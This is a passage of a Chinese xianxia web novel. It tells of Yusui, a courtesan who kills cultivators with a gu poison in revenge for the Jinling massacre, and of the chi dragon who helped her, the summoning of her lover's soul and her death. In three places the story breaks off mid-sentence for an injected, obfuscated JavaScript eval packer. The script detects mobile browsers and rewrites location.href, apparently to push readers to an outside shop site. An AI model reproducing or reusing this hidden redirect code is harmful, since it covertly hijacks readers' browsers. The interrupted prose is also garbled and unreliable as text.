螭龙始终顾及着背后的玉碎,导致招式之间处处受挫,打的很憋屈。 他好像并不想伤害背后的玉碎。 那他带走玉碎是为了什么? 眼见着螭龙被闻樱打的毫无还手之力,玉碎知道是自己拖了螭龙的后腿,螭龙本不必如此憋屈的。 她伸出手,摸了摸螭龙头顶的萌芽。 “别打了,放我下来,我有话和她说。” 螭龙回头朝她不悦地张开嘴。 “乖。”玉碎浅浅笑起,目光温和。 她与螭龙四目相对,眼底有什么一闪而过,螭龙像是明白了什么,弯下高昂着的头颅,将玉碎放下来。 他匍匐紧贴地面,让玉碎得以安稳降落。 玉碎整个人单薄的像是随时会消失在夜色中,她从螭龙身上掉下来,拢了拢身上被吹乱的披风,堪堪站稳。 那样瘦弱的一个人,站在螭龙面前像是一只随时会熄灭的蜡烛。 玉碎看着闻樱,莞尔:“又见面了,道长。” 闻樱将树枝丢掉,以示诚意。 “你知道我要来找你吗?” 玉碎摇摇头:“知道。也不知道。” “我知道你怀疑我,想要来找我问话,但我并不知道你今夜就要来。毕竟你刚来过,我以为最快也得明天。” 闻樱默了片刻,道:“我不能让你再继续这样杀下去。” 玉碎好一会儿没说话。 许久,她问:“你觉得我很坏吗?” “我不知道你为什么要这样做,我也不能妄下定论,说你就是好,亦或者坏。我第一次去凤仪楼找你,也不是想将你直接抓起来,我更想听听为什么。” “为什么我也是修士,不杀我,甚至我的朋友,林妙音,李却扇,你都没有下手。而是选择了对萧凡下手,我想知道为什么?” 玉碎又是好一会儿没说话,但这次,她是在组织语言。 闻樱很有耐心地等她开口。 “你变了很多。”玉碎忽然道,“曾经你不长这样,见你第一面的时候,我只觉得你亲切,没觉得你会是故人。直到你将伞柄折断,递给我,一如当年。当年你也是这样,折断伞柄,把伞塞进我手里。” “所以就算你变了样貌,我也依旧能认出你。” 玉碎深吸一口气,脸上扬起笑容来:“你是行遍天下,惩奸除恶的仙人,你救过那么多人,只怕早就忘掉了我。” 十三年前,锁灵渊正道围剿魔骨,以法阵抽取金陵城生息,困死护法林停戈。 无数当时在外地,听闻金陵城遭遇的人匆匆赶回,却无法进入已经启动的法阵,只能在城门外掩面哭泣,哭嚎声响彻天地。 雷云翻滚,老天落泪。 那是第一次,闻樱意识到所谓的天才其实什么都不是。 她无法停止这场屠戮,无法制止正道的‘审判’。 一个约莫六七十岁的老婆婆银发苍苍,漫步蹒跚,手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12930718|131344||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里还牵着一个几岁大的小姑娘,跪倒在门口哭泣。 她不停地跟面前的每一个玄剑宗弟子磕头:“求求你们,求求你仙人放过我们好吗,我的儿子儿媳还在里面,求求你们,求求你们了!” 站在她面前的玄剑宗弟子一身白衣,不染尘埃,上面绣满寓意正气济世的天目玉兰。 他们高高在上地俯视这些最平凡不过的百姓,好像忘记了在进入锁灵渊求仙问道之前,自己也是一个平庸的凡人。 他们不耐烦地一脚把老人踢开,老人口中鲜血外溢,两颗沾满血迹的牙齿掉在地上。 疼,太疼了。 老人感觉浑身骨头都要散架,扑通一声跌倒,像是破败的风箱只能兀自发出嗬嗬的痛苦喘息声。 她旁边的小女孩扑到老人身上,哭着说:“别打了!别打我奶奶,别打了!” 为首的弟子咧嘴一笑,抬脚踹来,就在这时一只手从他身后探出,用力掐紧他的脖子。 男人明明比闻樱高出去一头,闻樱却拎鸡仔一般把他从地上提起,丢到一旁。 她倾伞,伞面盖过女孩和她的奶奶。 雨水落到她身上的一瞬,又被灵气蒸发殆尽。 老人看起来就要死了,有进气没出气。 她在身上摸了个遍,总算是找到了回阳丹,摇了摇,想来还有个五六颗,喂了老人一颗,剩下的一口气全塞给了小女孩。 回阳丹下肚,老人的面色终于好看起来,起码没有性命之忧。 她松了口气,把身上的碎银都掏出来放到女孩腿上:“你走吧,离开金陵城。” 女孩脸上满是泪水,哭的狼狈。她尚且年幼,还不知道为什么会遭受这种无妄之灾。 女孩仰起头,一边哭,一边问:“姐姐,是我们做错了什么吗?” 握在伞柄的手缓缓收紧,雨声在耳边淅沥清晰,稚嫩的声音一字一句敲打在闻樱的鼓膜。 闻樱不知道该怎么跟面前这个不过五六岁的小女孩解释现在发生的一切。 只能沉默沉默再沉默。 许久,她听到自己说:“错的不是你们,你们没有做错。” 今夜死在这场罔顾人命的祭祀中的所有人都没有错。 错的是将人命视为草芥的修仙之人,将他们所谓的宏图伟业,所谓的计划凌驾于人命之上,在他们眼中,人命不过是各界斗争的牺牲品,轻之如鸿毛。 而这些人命对于每一个背后的家庭而言,却重逾千斤。 何为问世? 闻樱又一次问自己。 问人世间,荡不平事。 她比任何人都坚信,拿起剑的那一刻,就是为了尽可能庇护更多人。 所以她一次又一次地参加问世,一次又一次地斩妖除魔。 可杀光面前为祸四方的妖魔,身后的正道同门却挥刀向她一直保护的凡人。 她,她们,还有死去的所有金陵城的百姓,他们明明什么都没有做错。 却沦为仙门斗争的牺牲品。 闻樱该如何心安理得地忘记他们的面容。 恶心肮脏的是她,是自诩救世的修士,她又怎么有脸在这样的人间炼狱面前,高高在上的向凡人施舍善意。 沉默过后,她将伞留给女孩,自己则将伞柄折断。 松开五指,将自己握过的伞柄弃置一旁。 她沉默地起身,背着婴宁剑,头也不回地离去。 56.仇恨 那是闻樱留给玉碎的最后一面。 十数年时光匆匆而过,时过境迁,她已从那个毫无反抗之力,只能发出微弱质问的小女孩,变成了手刃无数修士的女人。 “你走后,奶奶没过几年,也因为思念爹娘而亡,从那一刻起,这个世界只剩下我一个人。或许我应该去死,这样的日子过下去有什么意思?我所热爱的家乡变得面目全非,我所挚爱的亲人一个接一个离去。” “但是我没有死,我怎么能纵容杀人凶手将金陵城的惨状遗忘的一干二净,继续践行他们的飞升之路?继续修他们的所谓正道?” 玉碎眼底的光彻底冷下来:“我要杀了他们,来一个杀一个。我主动找上了凤仪楼的管事,这些年我琴棋书画,什么都学,我将时间拆成几倍来用,我不敢有一刻松懈,就是为了今日。” “我接客,只接修士,因为他们该死。” 所有凤仪楼的姑娘对于玉碎做的事情,都有所猜测,可她们没有问,而是默默为玉碎将事情瞒下,管事抹去修士来过的痕迹,凤仪楼的姑娘们也缄口不谈,一切做得天衣无缝。 没有人会相信一个凡人,一个女人,有本事杀掉那么多的修士。 凡人和修者之间存在天然的界限,修者想要杀死凡人,就像碾死一只蚂蚁那么简单。可她做到了,不光做到,还杀了那么多。 “那纪如真呢?”闻樱想起玉碎砸碎的那块玉佩。 “我以为你会问我董刚。” 闻樱淡淡道:“他死有余辜。” “是啊……”玉碎附和,“他死有余辜。他用尽花言巧语,用尽所有积蓄,求娶秋娘。秋娘被他的真心所打动,这才嫁给他,可他得到秋娘之后,却从不珍惜,动辄打骂,在外看着人模狗样,关上门却连人都不做了,这样的人杀了他,也算我替天行道。” 玉碎从不后悔自己杀的每一个人。 闻樱曾听人问过一个问题。 如果面前有两个人,一个是你爱的人,另一个是爱你的人,你会选择哪个? 人们总是倾向于选择爱你的人,似乎这样才会幸福。 可人心善变,今日爱,明日爱,难保日日都爱。 若他日无爱,曾经在你身上付出的爱就会变成最锋利的尖刀,重新刺向你。 因为对方想要找回自己在你身上失去的尊严。 我为你付出了那么多,我那么爱你,现在我要从你身上加倍的讨回。 所以如果一定要选,闻樱只会选她爱的人。 然后想尽办法让他爱上自己。 “至于纪如真,不过是个意外而已。” 玉碎淡淡道,仿佛口中所提的纪如真只是一个陌生人。 纪如真是玄剑宗清正端方的师兄,人人赞一声少年名流,更是孟善长老最钟爱的亲传弟子,前途大好,身份贵重。 他并不和玄剑宗弟子私下交往过密,更多的时候他都行走在凡间。 那日他行至金陵城,看到茶楼下,道路上,人流拥挤,水泄不通,人们将头高高扬起,似乎在围着看什么珍奇异宝。 纪如真目光向上抬。 珍奇异宝没有,推开的窗子内,是位一身清减素衣的姑娘。 四目相对,一眼万年。 “比起那些买我时间,恨不得手黏在我身上不下来的修士,他和我之前认识的修士完全不同。” 那个呆子,交了大把大把的银钱,却只跟她隔着一个屏风,各坐一旁。 玉碎以为这就是纪如真的癖好,他不知用了多少钱,把玉碎的排期全部买断,却只为了跟她隔着屏风枯坐。 玉碎觉得这人真是个奇人,本以为两人就会这样下去的时候。 第七日,纪如真终于说话了。 他说:“我叫纪如真,澧州人士。” 这本应该出现在初见第一日的话,他硬生生攒到了第七日。 玉碎哦了一声,娓娓道:“我叫玉碎,青州人士。” 第七日,两人终于撤掉了中间的屏风,玉碎看到了传闻中的呆子。 说实话,玉碎甚至都想过这是一个人傻钱多,兴许还会流口水的傻子。 却没想到屏风那边的青年,长身玉立,玉树芝兰。 他身后还背着一柄长剑,腰间系有玉碎熟悉的护花铃。 原来,又是一个修士。 她和他对视的那一刻,缓缓笑起来。 因为她知道,属于她的猎物又送上门来了 “他来的很勤,但却并未有过任何逾矩。”玉碎回忆道。 更多的时候,玉碎抚琴,纪如真看着她发呆;玉碎作画,纪如真给她讲自己问世的所见所闻。 玉碎总是很好奇,修士的世界是什么样的? 纪如真起初以为玉碎只是单纯的向往锁灵渊,后来他才发现,自己每每提到锁灵渊的时候,玉碎总是笑得很古怪。 她的笑容是微凉的,又满含讽刺。 可每当纪如真探究地看过去时,她又是一副无害温婉的模样,拿起桌上的画纸,呈给他看。 “这是什么花?”纪如真很少关注这些。 “波上灵妃。”玉碎好笑地看他,“你竟不知?” 纪如真微微有些尴尬地侧过头,赧然:“我见过,但不会去深究它们究竟是什么花,叫什么名字,开在何时何地。” “那现在呢?”玉碎问。 现在。 纪如真想了想,说:“如果是现在,我愿意为这朵花停留,去问问它叫什么名字,开在什么时节。” 玉碎提着笔,许久没有说话。 饱蘸浓墨的笔锋落下一滴黑墨来,在笔下雪白的宣纸上晕染出大片的墨痕。 “你的纸……”纪如真提醒她。 玉碎恍然回神,将笔放下,纸撤掉。 她温声道:“纪公子古道热肠,关心民间疾苦,不似我,只关注些风花雪月。既如此,你不知道这花叫什么,也很正常。” 纪如真还想多诱她说些真心话:“你喜欢这株花吗?” 问完,他又有些懊恼。 不喜欢画出来做什么呢? 出乎意料的,玉碎摇了摇头。 “我不喜欢水仙花。” 顿了顿,她继续说道:“我喜欢的是山间最不起眼的小花,也许一不留神,公子就会将她们踩碎在脚下。” 纤弱,又不起眼的小花。 山间遍地都是,别人一只手就能碾死她。 可她即便被踩到泥土里,也会挣扎着重新站起,开满山野。 纪如真听出她是在以花自寓,想了想,道:“其实……” 其实我喜欢你所谓的,不起眼的小花。 可他还没说出口,就感到一阵剧烈的眩晕袭来。 “纪公子!”玉碎急忙扶着他。 纪如真摆摆手,另一只手扶额:“没事,我没事,你不用担心。” 美人蛊起作用了。 纪如真只要再来几次,就会悄无声息地死去。 他如果知道每一次和玉碎见面,对视的一瞬间, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12954072|131344||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她都在通过眼睛悄无声息地将蛊毒下在他身体里,肯定跑得比兔子都快。 可惜,他不知道。 “美人蛊?”闻樱喃喃,“这种蛊毒在千年之前就已经失传,你是如何得到的?” 千年之前,失传。 不等玉碎回答,闻樱就已经想明白。 她将目光左移,看向那只面目狰狞的庞然大物。 “是螭龙,帮了你对吗?” “是。” 玉碎道。 金陵城有一个古老的传言,金陵城外乌熔山内,有一座存在了几千年的神庙,传闻神庙之内,有神的一部分力量寄存在那里。 她只是一个微不足道的凡人,想要尽可能地杀修士,无异于天方夜谭。 所以她孤注一掷,想要借助神的力量。 于是九岁的玉碎,孤身一人远赴乌熔山。 她不知道自己走了多久,走到两只脚没有知觉,走到脚底板密布水泡,走到头晕眼花已经辨不清方向。 她一定要找到神庙。 她要给爹娘还有奶奶报仇。 她咬着牙,拄着木棍,执着地一步一步向前,小小的身影独自走在荒原。 终于,一阵风吹过,她重重倒在地上,嗓子眼干涸的像是有一百把刀子在里面割动。 好可惜,她好像也要死了。 闭上眼的那一刻,她在想。 有没有谁来救救她,谁也好,救救她。 再一次睁眼,她看到一条龙盘踞在自己面前。 庞大的,传说中的巨大生物瞬间攫取了她全部心神,她能清楚的听到心脏砰然跳动的声音。 龙开口,问道:“你看我像什么?” 玉碎怔怔吐出一个字。 龙。 刹那间,灵力狂舞,神魔呓语。眼前的蛟龙猛长数倍,在灼灼金光中,发生了些许变化。 待到灵力平复,龙道:“多谢,我可以满足你一个愿望。” 玉碎有什么愿望呢? 活到现在,支撑着她继续走下去的,只有仇恨。 她不明白发生了什么,但不妨碍她抬头,坚定道:“我想要杀修士,即刻,亲手杀掉他们。” “我也在修炼路中,不能杀生,不过我可以教给你如何炼蛊,如何种蛊。” 它的眼睛与玉碎相对。 玉碎像是被漩涡抽离其中。 “这叫美人蛊,当你与对方四目相对的时候,可以选择下蛊。不过他们都是开了灵智的修士,而非凡人,相当于你以血肉之躯屠神,美人蛊发作的时候,你也会受蛊毒反噬,死的修士越多,你的寿数就越短。” 螭龙问:“哪怕这样,你也不后悔吗?” “我不悔。” 螭龙看着眼前这个凡人,静默了许久。 它曾看过很多凡人,也曾向很多人讨封,讨成功过,也失败过,他的岁数早就数不清有多长。它每次都会对那些帮助过自己的凡人提出满足他们一个愿望。 有人许愿长生,有人许愿财富,有人许愿健康。 唯独面前这个小女孩,许愿杀戮。 它化作一团雾,静静陪在玉碎身边,看她杀掉一个又一个修士。 看她在深夜被蛊毒反噬。 它本应厌恶这样狠毒的女子,可它做不到。到了后来,玉碎自己收到反噬的蛊毒已经深入骨髓,它开始发了疯一般寻找解蛊良药,但都没用。 它不想失去玉碎,不想让余生在失去玉碎的前提下,漫无目的地活着。 57.誓言 “所以,你是金陵神庙的守夜人?”闻樱想起在玉虚境中,素素说过,每一个神庙都由守夜人看守,而金陵城的神庙,她并未见到守夜人。 原来守夜人本是一条灵蛇,修炼得道自行离开了。 它本想报完恩,就继续回去当自己的守夜人,却没成想对凡人动了心,最后甚至为凡人犯下杀戒,从此与正道无缘。 玉碎又是一阵撕心裂肺的咳嗽,即便不通医术,也能看出她时日无多。 闻樱等她咳完,问:“你想见见纪如真吗?” 玉碎愣了一下,抬头看去:“你说什么?” “美人蛊杀人于无形,不会留下一丝一毫的痕迹,但纪如真将他的魂魄藏了一缕在那枚被你摔碎的玉佩上,当日你摔碎玉佩的时候,他的魂魄逃逸出来,你想见见他吗?” 玉碎思忖片刻,笑:“好啊,刚好我也没多少时间了,见见他也无妨。” 如她所愿,闻樱抬手结印。 “万灵归心,应变无停,九州星辰,请魂降世。” 神女·召魂。 灵力如飓风涌向闻樱,气浪滔天,紧接着忽然归于沉寂。 树木静止,喧嚣的怒风停缓。 似乎有什么东西,破开闻樱的结界涌入进来。 缓缓停在了闻樱面前,闻樱神色无悲无喜,在他眉心轻点。 人形在闻樱指下显现。 螭龙撩起眼皮看了一眼,嫌弃地撇开眼,不愿再看。 反倒是玉碎,微微一笑,一如初见:“纪公子,是你吗?” 无主之魂徘徊此地,忽然被召唤现形,茫然无措,紧接着他抬眼,看到了玉碎。 面对这个杀害他的人,他并没有愤怒,厌恶,而是无奈。 “你还是被美人蛊反噬了。” 玉碎笑道:“我已经不知道杀了多少人,早就无力回天。反倒是你,应该很不想看见我吧,我明知你和他们不一样,却还是将你杀死。” 魂魄摇摇头:“我从来没有怪过你,我早就知道你在我眼里种蛊。” 玉碎错愕。 就连螭龙也看过来。 “在我第一次感到晕眩的时候,我就知道我已经中蛊,玄剑宗南长老,当世第一辅修,医术出神入化,和我师父走得近,所以我对医术也略有了解,对中蛊的反应并不陌生。” 玉碎问:“那你为什么还不跑?还要一直来我这里呢?” “我知道你被蛊毒反噬,如果想要为你清除蛊毒,只能来见你。” 一股寒意窜上玉碎的背脊,她眼睛睁大,质问:“所以那些午后,我总是莫名其妙的昏睡过去,是你!” “对,是我。” 玉碎不知从什么时候开始,总是感到困倦,下午总是会糊涂地睡过去。 有时候是忽然看书,有时候是在听纪如真说话,眩晕涌来,她模糊睡去。 每次醒来的第一眼,她看到的都是纪如真。 黄昏为他镀上温暖诱人的虚影,如今想来竟好像还在梦里。 所以纪如真知道自己在害他,才会将藏有自己魂魄的玉佩交给弧月。 他明明什么都知道。 “你是傻子吗……” 纪如真:“我不想让你死。” 这是她和爱距离最近的一次。 玉碎闭目,泪水滑落。 纪如真虚幻的指尖穿过她苍白到近乎透明的面庞,男人声音温和:“别哭,我告诉你这些,并不是为了让你哭,而是想让你别哭。” “我只是想告诉你,再不起眼的小花,也会有人看得到。” 魂魄闪动,纪如真停留阳世的时间到了。 远处的雷云传来滚滚轰鸣,纪如真最后深深看了玉碎一眼,消散在原地。 雷劫要到了。 螭龙硕大的身躯在地上缓缓移动,他直起前肢,无畏地直视雷云。 他是守夜人,亦是道行千年的龙,却屡犯杀戒,螭龙早就料到了会有今日。 他将玉碎衔起来,送到闻樱身边,自己则迎着雷云腾飞而上。 树木沙石被龙卷风卷去空中,飞沙走石,狂风大作。 玉碎眼睛被沙石划伤,她却依旧大睁着眼,看着那条庞大的螭龙,在雷云面前显得如此渺小。 血从她眼眶缓缓滴落。 “不要……” 她低喃。 一道紫雷以星流霆击之势,猛然降世,劈在螭龙刚刚萌发出的龙角上。 紧接着数道紫雷猛烈地砸在他身上,贯穿他的龙身,发出震撼天地的轰鸣。 最后一道,名为生死咒,声势浩大,紫雾凝聚,带着势如破竹之势,猛然贯下! 这最后一道雷劫,将螭龙从空中击落,急速坠地,轰然激起碎石飞扬。 等到土雾散去,地上已然被雷电劈出一道深坑,坑里面满是灰黑,似乎还能听到电流流窜声。 坑的正中央,仅剩下一只小蛇。 一条仅有成年男人手臂长短的小蛇。 小蛇蜷了蜷身子,尾巴在地上摆动。 它茫然地看着周围几人,紧接着逃也似的奔向丛林深处。 他忘了玉碎,忘了神庙,回到了最初,还是小蛇的模样。 玉碎终于捂着心口放声大哭起来。 上天好像总是对她格外残忍。 任何东西都让她曾经短暂的拥有,再永远地从她手中夺去。 曾经是,现在也是。 闻樱想要蹲下身子安慰她,远处,利刃破空之声传来,撕裂空气,发出清脆剑鸣声。 闻樱抬手,想要生生接下这剑。 然而有人比她更快,挡在了她身前。 剑没入肉/体的扑哧声清晰传来。 闻樱不敢置信地低头。 龙渊剑贯穿了玉碎的身体,将她的心脏顷刻之间绞碎。 玉碎单薄的身躯倒入闻樱怀中,一双曾经无比耀眼明亮的杏眸留恋地看着闻樱。 她一张嘴,就不断地有血涌出。 “回阳丹!”闻樱一如曾经地在身上疯狂寻找回阳丹,她颤颤巍巍地打开瓶盖,囫囵往玉碎嘴里倒。 然而玉碎混着血吐出来的药,比吃下去的还要多。 没有用的。 被龙渊剑粉碎心脏,别说是回阳丹,哪怕是大罗金仙亲至都无力回天。 闻樱跪坐在地,感受生命在她掌心一点点流逝。 玉碎满是血液的手,一把抓住闻樱的手腕,艰难地将想说的话一字一句挤出。 “我不能……” “再……” “失去你。” “不要,不要,不要。” 闻樱慌乱地将她抱在怀里,紧紧搂着她,想要将自己的温度渡给她。 兴许是回阳丹下肚起了作用,又或许是回光返照,玉碎面容平静了许多。 一行人从远处姗姗来迟,宁红玉欣喜地指着龙渊剑笑道:“顾师兄,你的剑在这里!天呐你好厉害顾师兄,离那么远你都能一击毙命。” 顾其渊没有说话,他看着闻樱瘦弱的背脊,苍白的仿佛随时会在这个雨夜散去。 他内心忽然涌上一股莫大的惶恐。 萧凡看到那具尸体,还有面前的一片狼藉,笑道:“折腾了这么半天,还得我们出手。” 玄剑宗的几名弟子拿出宿玉,看了一眼排行榜,欢喜道:“太好了!你看,我们名字后头已经是一万积分了!” “那我们是榜首了吧?” “没有没有……”那弟子看了一眼闻樱,使了个眼色,“还有他们呢,并列的。” 大家这时候才感觉到气氛有些不对劲。 他们在后头跟了闻樱两人很久,却没成想跟丢了,直到观察到这边雷云翻涌,他们才急忙往这边赶来。 所 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12967927|131344||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 幸他们来的及时,没造成太大伤亡,还是斩杀了妖孽。 如此他们也就安心了。 宁红玉咬咬唇,方才靠近的时候,玉碎说的话她也零碎听到了一些,她不解地问:“你难道不后悔吗?纪如真是真心喜欢你的,如果你不误入歧途,你就能和过去划清界限,过上安稳的生活。” 误入歧途。 划清界限。 玉碎像是听到了什么笑话,边吐血边笑的癫狂,血与泪,土与尘在她脸上混乱一片。 “后悔?那你们呢?你们后悔过吗?!凭什么一句所谓的喜欢我就要因为他而放下我的仇恨? 从我父母死的那一刻,修士就站在了我的对立面,凭什么一句喜欢,就要让我和昔日仇敌干戈化为玉帛?他喜欢我,和我有什么关系?你是不是觉得,只要他说一句爱,我就什么也不管不顾了,放下一切跟他在一起?” 她咧开嘴,眼神轻蔑地看着宁红玉,一字一顿:“如果你们无悔,那么我亦无悔。” 宁红玉被玉碎望着,眼眶微红:“我也只是为你好,想劝劝你……你本不必这样的。干嘛这么凶……” 跟在她后头的玄剑宗弟子安慰她:“不用理会这种滥杀无辜的人,师妹你就是心肠太好,跟这种人有什么话说?直接杀了就是!” 他提剑直直往下捅去,然而剑刃还未触碰到玉碎,整个人就砰的一声飞了出去。 姜扶雪抬起的手慢慢放下,目光从始至终都只落在闻樱身上。 “你!”萧凡欲要拔剑。 玉碎的声音断了。 她抓住闻樱的手腕,用尽最后一丝力气祈求。 “求你。” “不要怪我。” 女人眼底的神采一瞬寂灭。 她的手松开闻樱的手腕,无力坠下。 浇灭天地的大雨倏然落下,闻樱跪在雨中,感受怀里的温度一点点冰冷。 宿玉在她袖中振动不停,她已经没有心情去看上面又写了什么。她想起了宿玉曾经问她,是否忘记曾在金陵城看到的一切,又是否忘记曾经的誓言。 她从未忘记。 从未忘记每一个人的痛哭哀号,从未忘记年少时立下的要肃清锁灵渊的誓言。 【金陵城一行,想必你已经记起了痛苦的往事。如果你无法选择在痛苦中麻木,那么请你于毁灭中新生。回到剑冢,拿回婴宁剑,斩尽天下不义之人。 主线任务:毁灭修仙界 任务进度:40】 “你……”顾其渊开口。 闻樱打断:“你为什么要杀她。” 宁红玉:“师妹你别生气呀,师兄也是担心你……” “闭嘴。”闻樱厉色道。 宁红玉一怔。 师姐从来没有这样跟她说过话。 “师妹,不能因为你没拿到积分,就气急败坏……” 闻樱抬手,直接封住了萧凡的嘴。 萧凡呜呜两声,眼里满是惊诧错愕。 一个新入门的弟子怎么可能把令咒用得如此娴熟? 闻樱起身,直视顾其渊:“我问你为什么,你是哑巴吗?” 暴雨模糊了顾其渊的视线。 她生气了,是吗? 一个凡人,死了就死了,她为什么会这么生气? 为什么总要这样,总要用看垃圾的眼神看他? 你是师姐吗? 如果不是,为什么连眼神都能一模一样。 顾其渊破罐子破摔地笑起来:“为什么?因为我想拿第一,进禁地啊。难道你不想吗?你总是高高在上地审判我,其实你跟我一样,不都想进入禁地,从此修为暴涨吗?” “禁地。” “第一。” 闻樱看着他,一字一句:“好,想要积分,对吗?” “从现在开始,我会让你们明白什么是一分都得不到。” 58.攻略(修) 闻樱抱起玉碎的尸体,从神色各异的几人身边走过。 经过顾其渊身边的时候,少年伸手想要去拽闻樱的胳膊。 心里有一个从未听过的声音一直催促他,不能让她走,她如果离开了,你们就再没有以后了。 然而在他即将触碰到闻樱的时候,被人拦截下来。 他抬眼,看到姜扶雪那张一成不变的淡漠面容。 “松开!”顾其渊目光阴鸷地盯紧对方的眼睛,咬牙道。 姜扶雪居高临下地看着他,轻轻扬了扬下巴。 “她讨厌你,你就不能滚远点吗?” 顾其渊以为自己听错了。 并不是因为这句话多么离谱,而是姜扶雪那张脸看着根本就不像说出来这种话的人。 “什么?” 他是顾怀若唯一的亲生儿子,谁敢对他不敬? “死鱼眼……你再说一遍!” 被骂作死鱼眼的姜扶雪将喜怒不形于色贯彻到底,他微微侧头问:“你难道看不出她讨厌你吗?” “你是她吗?你能代表她吗?你知道什么?你知道什么!”最后一句话顾其渊是大喊出来的。 她讨厌我。 怎么可能。 她怎么可能讨厌我。 她明明是爱我的,不然为什么会事无巨细的照顾我,为什么会一次又一次的纵容我,为什么在别人欺负我的时候她永远都会及时出现。 “她怎么可能讨厌我。”顾其渊自欺欺人地低声道。 “你有做什么让她不讨厌的事吗?况且……” 姜扶雪提醒他:“她是闻樱,不是你认识的任何一个人,不要把对任何人的情感寄托在她身上。她是她自己,不是任何人的影子。” 闻樱已经走远,姜扶雪也不欲多谈,松开他的手腕,转身离去。 大雨瓢泼的打在少年身上,他微微低头,失魂落魄地伫立在雨幕中。 * 闻樱不知道自己抱着玉碎的尸体走了多久,她没有燃灵气护体,雨水大颗大颗地砸在她身上,衣服湿哒哒的垂落,重的让人浑身往下沉。 头发湿漉漉的黏在面颊上,鬈曲而凌乱,白与黑是极致的分明。 雨水顺着睫毛往下滚落,让人眼睛都睁不开。 她紧紧抿着唇,漫无目的地往前走。 她真的好累。 衣服很重,脑袋很重,就连脚步也沉重。 每一次抬起,好像需要用尽全身的力气。 如果不是她什么用都没有,金陵城也不会死那么多人,如果那些人不死,玉碎就不会走到今天这个地步。 一切都是因为她,是她没用。 她跌倒在地上,为了护着玉碎,膝盖重重地跪在沙石上。 闻樱就保持着这个姿势,背脊深深俯下,将自己埋成一团。 姜扶雪看到她的那时候,她已经不知道保持了这样的姿势多久,就团在那里,在雨中缩成小小的一团。 他在她身后停下,抬起手,灵气如丝缕一般涌向她,在她身上附着,为她挡雨。 浇在身上的风雨骤停,闻樱慢慢抬起头,没有回去看身后的人,而是虚无地望向前方。 前方一片黑暗,似乎永远看不到尽头。 “他们都说我是天才。”闻樱静静开口。 姜扶雪没说话,沉默地站在她身后。 “我从小到大,学什么都很快。剑术,丹书,令咒,这些别人可能需要用一辈子去学的东西,我只需要看一眼就能学会。 ” “于是他们都说,小鱼,你真是天才。” “我相信了。我也觉得我是天才。” 而现实就像一个重重的耳光,火辣辣地印在她的脸上,仿佛在昭示天下,你看,这就是所谓的天才,不也一样有做不到的事情,救不下的人吗? 她没有等姜扶雪的回答,仿佛这一切都只是说给自己听。 她开口,茫然地念起。 “大巧成拙,大智若愚,大成若缺,以此为令。” 这是愚人。 “天行有道,请灵入圣,福祸无常,以此为令。” 这是无常。 “魔罗九变,普诰万灵,请降圣恩,以此为令。” 这是魔罗。 “万灵归心,应变无停,九州星辰,以此为令。” 这是神女。 “天罡地煞,顺道从心,冲折樽俎,以此为令。” 这是战车。 “阴阳二气,生死轮变,五神从我,以此为令。” 这是君主。 “乾坤正气,固本培元,破阴正阳,以此为令。” 这是金乌。 “八方威神,降从我心,六道天罚,以此为令。” 这是审判。 你看,攻昧八咒,每一道令咒前缀她都记得一清二楚。 这是刻在她骨子里的记忆。 但是有什么用呢? 姜扶雪道:“如果你把每一个人的生死都背在你身上,你会很累。这世间绝大部分事情都不是单靠一个人的力量就能改变的,更别提改变他人命运。” 闻樱静了一会儿,忽然呵笑一声,她的声音听不出悲喜:“这些话是你心中所想,还是曾听他人说过?” 这样的话她也对林妙音说过。 会有这么巧吗?两个人的想法能高度一致。 姜扶雪垂落眼睑,声音静如霜雪;“故人所言,亦为我心中所想。” 闻樱道:“故人。” 她总有那么多故人。 林妙音,二丫,玉碎。 “所以师兄。” 她问:“我们是故人吗?” 一道轰雷震撼旷野,雷电将两人面容照的雪彻。 少女忽然回头,黑白分明的眼眸直直看向他,在等他的答案。 可是姜扶雪不能说。 他是那个故事中,失去声音的鲛人。 “我有的时候觉得,你总是知道我不知道的东西,我喜欢吃甜食,我喜欢梳的发式,甚至……” 她停顿了一下,自嘲一笑:“连我喜欢什么样的人,你都知道。” 闻樱喜欢甜食。 因为活着很痛苦。 闻樱喜欢小女孩才梳的双髻。 因为在她还是小女孩的时候,没有人为她梳过这样的发式。 这是她内心最深处的想法,她从不欲去表达。 那么,姜扶雪为什么会知道? 她眨了眨眼,湿漉漉的头发黏在她的白皙的面颊,看上去落魄,却脆弱。她像是岌岌可危的火烛,仿佛轻轻一阵风抚过,即刻会熄灭。 “所以,你是真实存在的吗?” “是有人在操控你吗?” “或者说,你的目的是什么?” 沉默,在两人中无限蔓延。 姜扶雪指尖在身侧蜷起,他开口,声音微哑:“那么你呢?” “闻樱。” “你是真实的吗?” 闻樱愣住。 